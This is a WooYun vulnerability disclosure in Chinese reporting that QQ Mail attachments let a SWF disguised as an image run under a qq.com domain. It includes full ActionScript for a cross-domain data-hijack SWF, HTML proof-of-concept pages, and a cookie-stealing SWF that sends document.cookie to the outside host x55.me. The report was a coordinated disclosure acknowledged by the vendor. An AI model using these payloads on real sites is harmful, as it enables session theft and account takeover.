当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062461

漏洞标题:腾讯某分站可上传任意swf文件导致的一系列问题(附简单POC)

相关厂商:腾讯

漏洞作者: mramydnei

提交时间:2014-05-27 08:47

修复时间:2014-07-11 08:47

公开时间:2014-07-11 08:47

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-27: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向核心白帽子及相关领域专家公开
2014-06-16: 细节向普通白帽子公开
2014-06-26: 细节向实习白帽子公开
2014-07-11: 细节向公众公开

简要描述:

这个上传点还是有点意思的

详细说明:

最近看了@irsdl的Even uploading a JPG file can lead to Cross Domain Data Hijacking 之后,琢磨着能不能找到一个好一点的实例。google dork了一下json的callback发现被修复的七七八八了。又找了一些*.qq.com上的上传页面也没能找到能上传swf的。最后又迂回到了重兵把守的QQ邮箱,在这里找到了突破点。
第一个案例:
首先构造一个swf文件,具体的as代码如下(借的):

package com.powerflasher.SampleApp {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.text.TextField;
import flash.text.TextFieldAutoSize;
import flash.xml.*;
import flash.events.IOErrorEvent;
import flash.events.*;
import flash.net.*;
/**
* @author User
*/

public class CrossDomainDataHijack extends Sprite {

private var loader:URLLoader;
public function CrossDomainDataHijack() {
loader = new URLLoader();
configureListeners(loader);
var target:String = root.loaderInfo.parameters.input;

var request:URLRequest = new URLRequest(target);
try {
loader.load(request);
} catch (error:Error) {
sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
}
}
private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
dispatcher.addEventListener(Event.OPEN, openHandler);
dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
}
private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
//trace("completeHandler: " + loader.data);
sendDatatoJS("completeHandler: " + loader.data);
}
private function openHandler(event:Event):void {
//trace("openHandler: " + event);
sendDatatoJS("openHandler: " + event);
}
private function progressHandler(event:ProgressEvent):void {
//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
}
private function securityErrorHandler(event:SecurityErrorEvent):void {
//trace("securityErrorHandler: " + event);
sendDatatoJS("securityErrorHandler: " + event);
}
private function httpStatusHandler(event:HTTPStatusEvent):void {
//trace("httpStatusHandler: " + event);
sendDatatoJS("httpStatusHandler: " + event);
}
private function ioErrorHandler(event:IOErrorEvent):void {
//trace("ioErrorHandler: " + event);
sendDatatoJS("ioErrorHandler: " + event);
}

private function sendDatatoJS(data:String):void{
trace(data);
ExternalInterface.call("sendToJavaScript", data);
}
}


}


然后修改swf的扩展名为jpg或其它图片格式的文件的扩展名便于通过上传检测的扩展名检测。然后通过QQ邮箱给自己发送一封邮件,并把我们编译好的swf文件(记得要改扩展名)添加到附件里并发送。

 2014-05-27 上午2.58.53.png


收到邮件后,打开邮件点击附件中的预览按钮并开启Firebug,通过Net对网络通讯进行观察:

 2014-05-27 上午3.02.23.png


从这里可以看出在第三条请求当中当前页面正在像http://sz.mail.ftn.qq.com发送一些HTTP请求,并且response正好是一张图片。复制第三条请求的url:

http://sz.mail.ftn.qq.com/ftn_handler/781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3?compressed=0&dtype=1&fname=CrossDomainDataHijack.jpg


试图用浏览器打开时,发现会提示是否要下载。

 2014-05-27 上午3.06.43.png


经过一小系列测试发现,通过修改dtype=2可以让图片直接加载,而不是直接去下载它。

 2014-05-27 上午3.08.29.png


这样一来我们就拥有了一个在*.qq.com下面的swf文件。现在看看能不能实现所谓的CrossDomain datahijack了。编写测试页面(也是借的):

<html>
<head><title>csrftest</title>
<script>
function sendToJavaScript(strData){
var theDiv = document.getElementById("HijackedData");
var content = document.createTextNode(strData);
theDiv.appendChild(content);
theDiv.innerHTML += '<br/>'
//alert(strData);
}
</script>
</head>
<body>
<div id=HijackedData></div>
<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://sz.mail.ftn.qq.com/ftn_handler/781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3?compressed=0&dtype=2&fname=CrossDomainDataHijack.jpg">
<param name="AllowScriptAccess" value="always">
<param name="flashvars" value="input=http://www.qq.com/">
</object>
</body>
</html>


看看是不是直接能够跨域把www.qq.com的html源码弄过来:

 2014-05-27 上午3.13.20.png


测试成功。这意味着我们可能利用这个伪造了扩展名的swf文件来盗取腾讯某些站点下的csrf token或其它一些会包含在html当中的敏感信息。
第二个案例:
在第一个案例当中,我们利用的swf文件在当前域下实际上是以content-type:image/jpeg来解析的。我们再试试我们能不能让它在当前域下当作一个swf文件来解析。经过一小系列测试发现,当我们把下面的URL当中的:

http://sz.mail.ftn.qq.com/ftn_handler/781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3?compressed=0&dtype=2&fname=CrossDomainDataHijack.jpg


fname后面的CrossDomainDataHijack.jpg修改为test.swf时,页面会以Content-type:application/x-shockwave-flash来解析,如下图:

 2014-05-27 上午3.22.47.png


这回我们算是在真正的意义上,上传了一个swf文件。需要补充的是,该文件的访问权限是任何人。也就是说不存在权限问题而不能被利用起来。唯一麻烦的就是URL当中的这段hash

781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3


会在30分钟左右过期,需要我们每间隔30分钟,重新使用案例1中的方法获取新的URL(无需重新上传)。
这次再写一个能偷cookie的swf文件,代码如下:

package {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.text.TextField;
import flash.text.TextFieldAutoSize;
import flash.xml.*;
import flash.events.IOErrorEvent;
import flash.events.*;
import flash.net.*;
/**
* @author User
*/

public class csrf extends Sprite {

private var loader:URLLoader;
public function csrf() {
var res:String = ExternalInterface.call("function(){return document.cookie;}");
doGet(res);
}

private function doGet(res:String):void{
loader = new URLLoader();
var target:String = "http://x55.me/geo.php?get="+res;
var request:URLRequest = new URLRequest(target);
try {
loader.load(request);
} catch (error:Error) {
sendDatatoJS("Error: " + error.getStackTrace());
}
}

private function sendDatatoJS(data:String):void{
trace(data);
ExternalInterface.call("colsole.log", data);
}
}


}


重复案例一种的步骤进行上传和参数修改。得到URL:

http://sz.mail.ftn.qq.com/ftn_handler/595af2ea431bfa68bc5e2e515d3a83a39752af9a4cc701539ad5b70b759a175d?compressed=0&dtype=2&fname=1.swf


做一个测试页面用来盗取用户的cookies:

<html>
<head>
<title>steal cookies test</title>
</head>
<body>
<iframe src="http://sz.mail.ftn.qq.com/ftn_handler/595af2ea431bfa68bc5e2e515d3a83a39752af9a4cc701539ad5b70b759a175d?compressed=0&dtype=2&fname=1.swf" width=0 heigth=0>
</body>
</html>


当用户访问我们特定的页面时,cookie将被窃取:

 2014-05-27 上午3.36.59.png


6F99C843-A855-429C-9C94-041CD4DA03D2.png


对盗号不感冒,所以不知道具体都可以登录哪些业务。但是至少测试可以用uin和skey成功登录aq.qq.com

 2014-05-27 上午3.44.15.png


漏洞证明:

见详细说明

修复方案:

对文件头和格式进行检测

版权声明:转载请注明来源 mramydnei@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-27 15:53

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无